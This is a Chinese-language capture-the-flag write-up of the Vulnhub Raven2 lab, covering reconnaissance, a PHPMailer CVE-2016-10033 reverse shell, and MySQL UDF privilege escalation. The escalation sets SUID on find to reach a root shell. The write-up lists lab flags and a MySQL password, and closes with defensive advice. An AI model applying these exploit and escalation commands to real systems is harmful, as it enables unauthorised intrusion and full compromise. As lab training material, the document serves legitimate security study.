Vulnhub靶场——Raven2练习
字数 1570 2025-08-19 12:41:24

Raven2靶场渗透测试教学文档

靶场概述

Raven2是一个基于Vulnhub的渗透测试练习靶场,运行在Linux系统上,包含多个flag和多种漏洞利用方式。本教学文档将详细记录从信息收集到最终提权的完整渗透过程。

信息收集阶段

1. 网络扫描

使用以下工具确定目标IP和开放端口:

  • arp-scan:扫描本地网络发现目标机器
  • nmap:进行端口扫描

发现结果

  • 目标IP:192.168.78.144
  • 开放端口:
    • 22 (SSH)
    • 80 (HTTP)
    • 111 (RPC)

2. Web目录枚举

访问Web服务并枚举目录:

  • 发现/vendor/目录
    • path文件中找到flag1a2c1f66d2b8051bd3a5874b5b6e43e21
  • 发现readme.md文件,揭示网站使用PHPMailer
  • version文件中确认PHPMailer版本为5.2.16

漏洞利用阶段

1. PHPMailer漏洞利用

PHPMailer 5.2.16存在远程代码执行漏洞(CVE-2016-10033)

利用步骤

  1. 在Exploit-DB搜索漏洞利用脚本,选择40974.py
  2. 修改脚本内容:
    • 设置目标URL
    • 设置反弹shell的IP和端口
  3. 攻击机开启监听:
    nc -lvnp [监听端口]
    
  4. 执行漏洞利用脚本
  5. 访问生成的shell.php文件获取反弹shell

2. 获取初始shell

成功反弹shell后,进行以下操作:

  1. 升级shell交互性:
    python -c 'import pty;pty.spawn("/bin/bash")'
    
  2. 查找flag文件:
    find / -name flag*
    
    发现flag
    • flag2: 6a8ed560f0b5358ecf844108048eb337
    • flag3: a0f568aa9de277887f37730d71520d9b

权限提升阶段

1. 系统信息收集

使用LinEnum.sh脚本扫描系统,发现:

  • MySQL服务以root用户权限运行
  • 在WordPress配置文件wp-config.php中找到MySQL凭据:
    • 用户名:root
    • 密码:R@v3nSecurity

2. MySQL UDF提权

详细步骤

  1. 检查MySQL配置

    show global variables like 'secure%';
    show variables like '%plugin%';
    
    • 确认plugin目录路径:/usr/lib/mysql/plugin/
    • 检查远程登录限制:
      use mysql;
      select user,host from user;
      
  2. 准备UDF提权文件

    • 使用searchsploit搜索UDF漏洞,选择1518.c(适用于MySQL 4.x/5.x)
    • 编译UDF文件:
      gcc -g -c 1518.c
      gcc -g -shared -o yc.so 1518.o -lc -g
      
      编译选项说明:
      • -g:生成调试信息
      • -c:编译为二进制
      • -shared:创建动态链接库
      • -o:指定输出文件名
      • -lc:链接C库
  3. 上传并利用UDF文件

    • yc.so上传到目标机器(如/var/www/html/hanh/
    • 通过MySQL操作:
      create table hanh(line blob);
      insert into hanh values(load_file('/var/www/html/hanh/yc.so'));
      select * from hanh into dumpfile '/usr/lib/mysql/plugin/yc.so';
      create function do_system returns integer soname 'yc.so';
      select * from mysql.func;  -- 验证函数创建
      
  4. 利用UDF函数提权

    select do_system('chmod u+s /usr/bin/find');
    
  5. 验证SUID权限

    find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
    

    确认/usr/bin/find已具有SUID权限

  6. 最终提权

    touch getflag
    find getflag -exec '/bin/sh' \;
    

    获取root shell后,在/root/flag4.txt中找到:

    • flag4: df2bc5e951d91581467bb9a2a8ff4425

关键知识点总结

  1. 信息收集

    • 网络扫描工具使用
    • Web目录枚举技巧
    • 版本信息识别
  2. 漏洞利用

    • PHPMailer RCE漏洞利用
    • 反弹shell技术
    • Web shell上传与利用
  3. 权限提升

    • MySQL UDF提权原理
    • SUID权限滥用
    • 编译和上传自定义库文件
    • MySQL函数创建与利用
  4. 工具使用

    • arp-scan/nmap
    • gcc编译
    • LinEnum信息收集脚本
    • searchsploit漏洞搜索

防御建议

  1. 及时更新软件版本(如PHPMailer)
  2. 限制MySQL运行权限
  3. 禁用不必要的SUID权限
  4. 加强文件上传限制
  5. 使用最小权限原则配置服务账户
  6. 定期审计系统配置和权限设置
Raven2靶场渗透测试教学文档 靶场概述 Raven2是一个基于Vulnhub的渗透测试练习靶场,运行在Linux系统上,包含多个flag和多种漏洞利用方式。本教学文档将详细记录从信息收集到最终提权的完整渗透过程。 信息收集阶段 1. 网络扫描 使用以下工具确定目标IP和开放端口: arp-scan :扫描本地网络发现目标机器 nmap :进行端口扫描 发现结果 : 目标IP:192.168.78.144 开放端口: 22 (SSH) 80 (HTTP) 111 (RPC) 2. Web目录枚举 访问Web服务并枚举目录: 发现 /vendor/ 目录 在 path 文件中找到 flag1 : a2c1f66d2b8051bd3a5874b5b6e43e21 发现 readme.md 文件,揭示网站使用PHPMailer 在 version 文件中确认PHPMailer版本为5.2.16 漏洞利用阶段 1. PHPMailer漏洞利用 PHPMailer 5.2.16存在远程代码执行漏洞(CVE-2016-10033) 利用步骤 : 在Exploit-DB搜索漏洞利用脚本,选择 40974.py 修改脚本内容: 设置目标URL 设置反弹shell的IP和端口 攻击机开启监听: 执行漏洞利用脚本 访问生成的 shell.php 文件获取反弹shell 2. 获取初始shell 成功反弹shell后,进行以下操作: 升级shell交互性: 查找flag文件: 发现flag : flag2: 6a8ed560f0b5358ecf844108048eb337 flag3: a0f568aa9de277887f37730d71520d9b 权限提升阶段 1. 系统信息收集 使用LinEnum.sh脚本扫描系统,发现: MySQL服务以root用户权限运行 在WordPress配置文件 wp-config.php 中找到MySQL凭据: 用户名:root 密码:R@v3nSecurity 2. MySQL UDF提权 详细步骤 : 检查MySQL配置 : 确认plugin目录路径: /usr/lib/mysql/plugin/ 检查远程登录限制: 准备UDF提权文件 : 使用searchsploit搜索UDF漏洞,选择 1518.c (适用于MySQL 4.x/5.x) 编译UDF文件: 编译选项说明: -g :生成调试信息 -c :编译为二进制 -shared :创建动态链接库 -o :指定输出文件名 -lc :链接C库 上传并利用UDF文件 : 将 yc.so 上传到目标机器(如 /var/www/html/hanh/ ) 通过MySQL操作: 利用UDF函数提权 : 验证SUID权限 : 确认 /usr/bin/find 已具有SUID权限 最终提权 : 获取root shell后,在 /root/flag4.txt 中找到: flag4: df2bc5e951d91581467bb9a2a8ff4425 关键知识点总结 信息收集 : 网络扫描工具使用 Web目录枚举技巧 版本信息识别 漏洞利用 : PHPMailer RCE漏洞利用 反弹shell技术 Web shell上传与利用 权限提升 : MySQL UDF提权原理 SUID权限滥用 编译和上传自定义库文件 MySQL函数创建与利用 工具使用 : arp-scan/nmap gcc编译 LinEnum信息收集脚本 searchsploit漏洞搜索 防御建议 及时更新软件版本(如PHPMailer) 限制MySQL运行权限 禁用不必要的SUID权限 加强文件上传限制 使用最小权限原则配置服务账户 定期审计系统配置和权限设置